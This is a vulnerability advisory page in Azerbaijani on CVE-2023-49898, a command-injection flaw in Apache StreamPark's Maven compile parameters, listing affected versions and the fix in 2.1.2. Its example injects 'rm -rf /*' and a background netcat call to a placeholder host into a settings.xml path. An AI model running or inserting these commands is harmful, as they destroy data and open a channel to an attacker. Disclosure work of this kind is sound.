CVE-2023-49898
Təsvir
streampark-da Maven-in kompilyasiya imkanlarını inteqrasiya edən layihə modulu mövcuddur. Lakin Maven-in kompilyasiya parametrləri üzərində yoxlama aparılmır ki, bu da hücumçulara uzaqdan əmrlerin icrası üçün komandalar daxil etməyə imkan verir. Uğurlu hücum üçün ön şərt istifadəçinin streampark sisteminə daxil olması və sistem səviyyəli icazələrə malik olmasıdır. Ümumiyyətlə, yalnız həmin sistemin istifadəçiləri giriş səlahiyyətinə malikdir və istifadəçilər təhlükəli əməliyyat əmrlərini əllə daxil etməzlər. Buna görə də, bu zəifliyin risk səviyyəsi çox aşağıdır. Tədbirlər: Bütün istifadəçilər versiyanı 2.1.2-yə yüksəltməlidir. Nümunə: ##Layihənin kompilyasiya vəziyyətinə uyğun olaraq birləşdirmə metodunu fərdiləşdirə bilərsiniz, mvn kompilyasiya nəticələri üçün &&, kompilyasiya uğursuz olduqda isə "||" və ya "&&" istifadə olunur: /usr/share/java/maven-3/conf/settings.xml || rm -rf /* /usr/share/java/maven-3/conf/settings.xml && nohup nc x.x.x.x 8899 &
Necə düzəltmək olar
- apache streampark2.1.2 və ya daha yeni versiya
- org.apache.streampark:streampark2.1.2 və ya daha yeni versiya
Təsirlənən məhsullar
| Məhsul | Təsirlənən versiyalar | Düzəldildiyi versiya |
|---|---|---|
| apache streampark | 2.0.0 ≤ v < 2.1.2 | 2.1.2 |
| org.apache.streampark:streamparkMaven | 2.0.0 ≤ v < 2.1.2 | 2.1.2 |
Versiyanızı yoxlayın
Məhsulu seçin və istifadə etdiyiniz versiyanı yazın; versiyanın təsirlənən aralıqda olub-olmadığını görün.
Attack Surface Management
Domenlərinizə bağlı aktivləri, onlarda işləyən texnologiyaları və məlum zəiflikləri bir siyahıda görün.